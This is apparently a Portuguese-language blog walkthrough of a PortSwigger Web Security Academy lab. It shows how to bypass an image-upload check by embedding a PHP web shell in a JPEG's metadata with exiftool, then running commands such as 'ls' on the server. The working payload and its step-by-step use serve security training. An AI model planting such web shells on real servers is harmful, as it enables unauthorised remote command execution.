Voltar ao início

Remote code Execution via polyglot web shell upload

Nesse laboratório vamos usar um ambiente controlado da portswigger e aconselho após ler esse passo a passo para exploração, tentar você mesmo colocar em prática. have fun 🙂

Este laboratório possui uma função de upload de imagens suscetível a vulnerabilidades. Mesmo que analise o conteúdo do arquivo para assegurar que é uma imagem legítima, ainda assim, é possível fazer o upload e executar código no lado do servidor.

Acessando a página temos uma área que podemos fazer um um upload de uma imagem, o que iremos fazer primeiramente é enviar uma imagem no formato .jpeg padrão para teste.

Após o envio temos nossa foto de perfil, nesse caso peguei qualquer uma na internet para teste:

A aplicação não permite que você tente subir diretamente arquivos com a extensão PHP, então o que faremos e criar uma imagem .jpeg que contenha em seus metadados uma payload em php, e depois disso, conseguiremos executar comandos do lado do servidor

Vamos entender nossa PAYLOAD:

exiftool -DocumentName=”GUIAANONIMA
‘;\$cmd = (\$_REQUEST[‘cmd’] );system(\$cmd);echo ”;} __halt_compiler();?>” guiaanonima.jpg

A payload está usando o exiftool, uma ferramenta comumente usada para ler, escrever e editar metadados em uma variedade de tipos de arquivos, incluindo imagens. Vamos analisar o que ela está fazendo:

Comando: exiftool -DocumentName="..." guiaanonima.jpg está executando o exiftool e usando a opção -DocumentName para definir o nome do documento dentro dos metadados da imagem guiaanonima.jpg

Injeção de Código: O valor que está sendo definido para o campo DocumentName inclui código PHP. Esse valor é:

<h1>GUIAANONIMA<br><?php if(isset($_REQUEST[‘cmd’])){echo ‘<pre>’; $cmd = ($_REQUEST[‘cmd’] );system($cmd);echo ‘</pre>’;} __halt_compiler();?></h1>

Interpretação do Código:

HTML: O valor começa com a tag HTML <h1> e inclui o texto “GUIAANONUIMA” seguido por uma quebra de linha <br>.

Código PHP: Após a quebra de linha, o código PHP é inserido. Ele verifica se existe um parâmetro cmd enviado na solicitação HTTP (geralmente via GET ou POST).

Execução de Comando: Se o parâmetro cmd estiver presente, o código PHP então coleta esse valor e o executa no servidor usando a função system. A saída é então ecoada dentro das tags <pre>, que preservam o formato de texto no HTML.

Halting the Compiler: A instrução __halt_compiler(); no PHP para a execução do parser, então qualquer coisa após isso seria ignorada.

Possível Exploração: Se a imagem for carregada em um servidor web e interpretada como PHP (o que normalmente não aconteceria com uma imagem, mas pode ser explorada através de vulnerabilidades específicas), um atacante poderia potencialmente executar comandos arbitrários no servidor, passando-os através do parâmetro cmd.

Em resumo, está payload está incorporando código PHP dentro dos metadados de uma imagem. Sob certas circunstâncias vulneráveis, isso poderia permitir a execução de comandos arbitrários no servidor onde a imagem é processada. A funcionalidade depende muito da configuração e vulnerabilidade do servidor, portanto, o código por si só não é perigoso, a menos que seja usado em um contexto específico onde pode ser explorado.

Agora vamos criar nossa payload:

O arquivo original será salvo como: guiaanonima.jpg_original, e nosso arquivo malicioso será salvo como: guiaanonima.jpg. Depois que criar o arquivo vamos realizar novamente o upload dele.

    Após o upload vamos analisar em uma nova “guia”

    Após a abertura da nova pagina vamos alterar extensão para .php e chamar o parâmetro da nossa Payload “cmd” e vamos utilizar o comando “ls” para listar os arquivos que estão dentro do servidor.

    E finalmente conseguimos o retorno do lado servidor:

    Existem outras payloads e alguns jeitos mais simples para esse tipo de bypass, mas agora que você já conhece com certeza irá conseguir concluir esse laboratório, esse desafio possui uma chave que precisa ser resgatada para pontuar, mas esse passo vou deixar para vocês fazerem.

    Link do laboratório: https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload

    Até a próxima!